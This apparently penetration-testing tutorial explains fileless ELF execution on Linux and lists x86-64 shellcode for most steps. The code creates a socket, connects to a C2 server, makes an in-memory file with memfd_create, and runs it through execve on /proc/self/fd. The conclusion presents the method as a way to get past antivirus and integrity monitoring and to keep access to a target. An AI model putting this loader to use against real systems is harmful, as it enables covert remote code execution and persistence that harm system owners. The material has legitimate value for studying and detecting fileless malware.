Fileless malware distribution is gaining popularity. What is not surprisingly, because the work of such programs leaves almost no traces. Moreover, since the very beginning hackers always searched for ways to stay anonymous and hide their malware on the system. Thats why we focused on deep diving into this subject and came with the idea. In Windows, there is Reflective DLL Injection which allows to execute malware right into the memory of the compromised process, but on Linux there is no such existing implementation. So, then we thought, why not to use different ways of executing ELF files?

We found out that there is a technique of creating temporary filesystem using /dev/shm, but this actually does not provide us what we want. Out goal is to execute ELF file right into the memory, not from the disk. And then, after reading this very interesting article we decided to improve method described in it. As we all know it is possible to create different file descriptor and write data to it. This file descriptor will appear in /proc/<pid/fd/<fd> and then can be executed as a file.

Fortunately, procfs does not exist on disk and kernel creates it in the memory which is a good thing for us:

The /proc filesystem contains a illusionary filesystem.
It does not exist on a disk. Instead, the kernel creates it in memory.

3.7. The /proc filesystem

So, the concept of the whole process is:

1. Read ELF data from socket 2. Map it into the memory 3. Write to the created file descriptor 4. Execute it from /proc/self/fd/<fd>

Shellcode

Let’s begin writing our shellcode.

First step is to set up socket for further communication:

push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall

Now, we are ready to connect to our C2 server:

xchg rdi, rax
movabs rcx, C2_addr
push rcx
mov rsi, rsp
push 0x10
pop rdx
push 0x2a
pop rax
syscall

Lets imagine that we now read ELF file length and have it in the r12 register. Moreover, we have already allocated memory using mmap and have address pointing to it in r15. Then, we have already read ELF data to the allocated memory and the next step is to create file descriptor. For this purpose we are gonna use memfd_create system call:

xor rax, rax
push rax
push rsp
sub rsp, 8
mov rdi, rsp
push 0x13f
pop rax
xor rsi, rsi
syscall

Then we save our file descriptor to r14 via push rax; pop r14 and then we need to write our ELF data from the allocated memory right to the file descriptor. After all these steps done, we need to concatenate /proc/self/fd/ and our file descriptor. There are different ways to do this, but in our case we’ll use stack:

add rsp, 16
mov qword ptr [rsp], 0x6f72702f
mov qword ptr [rsp+4], 0x65732f63
mov qword ptr [rsp+8], 0x662f666c
mov qword ptr [rsp+12], 0x002f64

Then we need to convert our file descriptor to the string and append it to the stack above. We’ll pass this step.

Now, we are ready to execute our file descriptor using execve:

lea rdi, [rsp]
push 0x3b
pop rax
cdq
push rdx
push rdi
mov rsi, rsp
syscall

First instruction puts path /proc/self/fd/<fd> to the first argument of execve.

As the result, we’ll get our ELF file executed. And we didn’t even touch the disk!

Conclusion

Fileless loading of ELF files in Linux is a useful technique when doing penetration testing. This is a fairly quiet way to resist a wide range of anti-virus protection, control systems integrity and monitoring systems that monitor content changes hard drive. In this way, access to the target can be easily maintained. system, leaving a minimum of traces.